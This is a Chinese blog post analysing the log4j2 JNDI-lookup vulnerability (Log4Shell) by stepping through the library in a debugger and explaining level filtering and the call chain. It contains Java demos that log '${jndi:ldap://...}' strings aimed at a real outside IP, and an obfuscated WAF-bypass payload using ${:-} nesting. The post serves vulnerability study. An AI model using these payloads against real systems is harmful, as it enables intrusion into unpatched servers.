log4j2火爆全网,这里抽空简单分析下,几个疑惑点的解答
log4j2这波属于官方自爆:
https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup
官方文档lookup使用:
稍微学过一点ldap注入的都会尝试下ldap://,哈哈哈,开个玩笑~
漏洞本质原因是jndi:分支最后走到了lookup:
当打印log的时候,输入的变量会被lookup污染
/org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class
漏洞原理没啥好讲的,一步步跟代码又臭又长.
先演示漏洞效果:
测试demo:
package com.test; import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test { private static final Logger LOGGER = LogManager.getLogger(test.class.getName()); public static void main(String[] args) { String input = "${jndi:ldap://119.45.227.86:1234}"; LOGGER.error(input); } }
运行代码:
发现vps上接收到本地发送的请求,这里不演示漏洞利用rce,点到为止,至此,漏洞利用演示完成
几个疑惑点解惑
网传只有error等级可以触发ldap注入,而.info/debug等日志等级无法触发,这是为什么呢?我没看到网上有人分析,这里简单过一下
首先error处打断点:
统一使用step into去跟函数:
继续往下跟,这是关键:
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) { if (this.isEnabled(level, marker, message, throwable)) { this.logMessage(fqcn, level, marker, message, throwable); } }
if (this.isEnabled(level, marker, message, throwable)) {
跟进isEnabled函数:
继续往下跟:
boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) { Filter filter = this.config.getFilter(); if (filter != null) { Result r = filter.filter(this.logger, level, marker, msg, t); if (r != Result.NEUTRAL) { return r == Result.ACCEPT; } } return level != null && this.intLevel >= level.intLevel(); }
其中的关键点在于最后的判断:
return level != null && this.intLevel >= level.intLevel();
首选判断等级不能为空,并且当前等级要大于等级设置的等级
可以发现当前的等级是200,我们调用的error等级也是200,所以满足条件,返回true
对于满足条件的,进logMessage
通过上面的调试,我们知道了error对应的等级数值是200
查看log4j2文档,我们找到了相关的说明:
默认this.intLevel为200,那么满足条件的有ERROR/FOTAL,测试一把:
演示两个成功的以后,演示失败的,修改等级为debug:
发现我们的intLevel还是200,而error级别是500了,很明显不符合条件,最终返回false
直接跳出了if判断
让debug也可以触发很简单,只要修改privateConfig中的intLevel的值,当intLevel>=500即可触发
这边尝试修改配置文件,是不行的,得动态修改,修改自定义代码如下:
package com.test; import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.LoggerContext; import java.util.Collection; import java.util.Map; public class test { private static final Logger LOGGER = LogManager.getLogger(test.class.getName()); public static void main(String[] args) { Collection<org.apache.logging.log4j.core.Logger> current = LoggerContext.getContext(false).getLoggers(); Collection<org.apache.logging.log4j.core.Logger> notcurrent = LoggerContext.getContext().getLoggers(); Collection<org.apache.logging.log4j.core.Logger> allConfig = current; allConfig.addAll(notcurrent); for (org.apache.logging.log4j.core.Logger log:allConfig){ log.setLevel(Level.DEBUG); }; String input = "${jndi:ldap://119.45.227.86:1234}"; LOGGER.debug(input); } }
再次运行代码:
debug跟一下:
发现我们的this.intLevel是500,满足条件
结论:别的等级也可以触发,需要动态设置等级,如果开发自定义了等级,即可在其他等级上触发漏洞
前面在漏洞产生原因处已经说明漏洞原因,现在直接在lookup处debug:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class#86
在error处debug:
使用跳转debug,跳转到lookup:
这一串利用链接,还是相当复杂的,source很难,sink很简单.
lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) debug:327, AbstractLogger (org.apache.logging.log4j.spi) main:27, test (com.test)
又臭又长的分析不搞了,有兴趣的可以自己跟进去看代码.
网上出了很多bypass waf变形payload,如下所示:
通用的问题,我就挑两个出来讲讲,首先是upper和lower:
简单说下原理:
先在这里下断点:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class
往下跟跳:
手动点击进入lookup函数:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrLookup.class
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.apache.logging.log4j.core.lookup; import org.apache.logging.log4j.core.LogEvent; public interface StrLookup { String CATEGORY = "Lookup"; String lookup(String key); String lookup(LogEvent event, String key); }
通过idea查看接口实现类:
16个实现接口类,lower和upper看一个即可:
如果payload里包含lower:
会走lower的lookup:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/LowerLookup.class
同理jndi走jndilookup的分支,upper走upperlookup的分支
那么jndi走lookup
/Users/qixin01/.m2/repository/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/JndiLookup.class
其中最不解的是${:-},这个bypass变种
这里多次debug发现问题在:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class
会根据:-分割,所以要包含:-
${:-}会被自动处理掉
我的测试payload:${j${:-}n${:-}d${:-}i${:-}:${:-}${123::-}${:-}${:-}${:-}${:-}${:-}d${::-}n${::-}s://v p s ip:53/
简单分析了下,如果有错误,欢迎指出.